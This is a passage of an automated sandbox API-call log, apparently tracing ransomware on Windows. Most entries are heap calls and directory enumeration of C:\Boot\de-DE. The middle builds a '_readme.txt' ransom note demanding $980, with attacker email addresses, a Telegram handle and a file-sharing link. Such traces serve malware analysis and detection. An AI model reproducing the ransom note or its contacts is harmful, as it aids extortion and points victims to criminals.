Size=0x20) returned 0x3022b50 [0119.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.529] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.529] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.529] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.529] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.529] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.529] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.529] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.529] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.529] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.529] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.529] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.529] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.529] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.529] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.529] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.529] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.529] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.529] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.529] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.529] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.529] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.529] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.529] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.529] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.529] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.529] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.529] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.529] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.529] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.529] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.529] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.529] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.529] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.529] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.530] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.530] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.530] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.530] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.530] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.530] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.530] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.530] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.530] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.530] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.530] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.530] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0119.530] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.530] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.530] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.530] PathFindFileNameW (pszPath="") returned="" [0119.530] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.530] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.530] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.531] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x800) returned 0x3092b80 [0119.531] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.531] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x307f550 [0119.531] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.531] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.531] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0119.531] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.531] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.531] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 0 [0119.532] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x3095780 [0119.532] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.532] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.532] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3080660 [0119.532] CreateFileW (lpFileName="C:\\Boot\\de-DE\\_readme.txt" (normalized: "c:\\boot\\de-de\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.532] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.532] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095780 | out: hHeap=0x5e0000) returned 1 [0119.532] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.532] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.532] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.532] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.532] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.533] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.533] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.533] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.533] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.533] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.533] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229c0 [0119.533] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.533] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.533] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.533] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.533] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.533] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.533] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.533] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.533] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.533] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.533] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.533] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.533] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.533] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.533] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.533] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.533] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.533] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.533] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.533] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.533] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.533] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.533] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.533] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.533] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.534] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.534] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.534] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.534] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.534] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.534] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.534] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.534] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.534] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.534] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.534] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.534] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.534] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.534] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.534] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.534] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.534] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.534] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.534] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.534] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.534] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.534] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.534] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.534] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.534] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.534] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.534] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.534] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.534] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.534] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.534] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.534] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.534] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.535] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.535] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.535] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.535] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.535] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.535] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.535] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 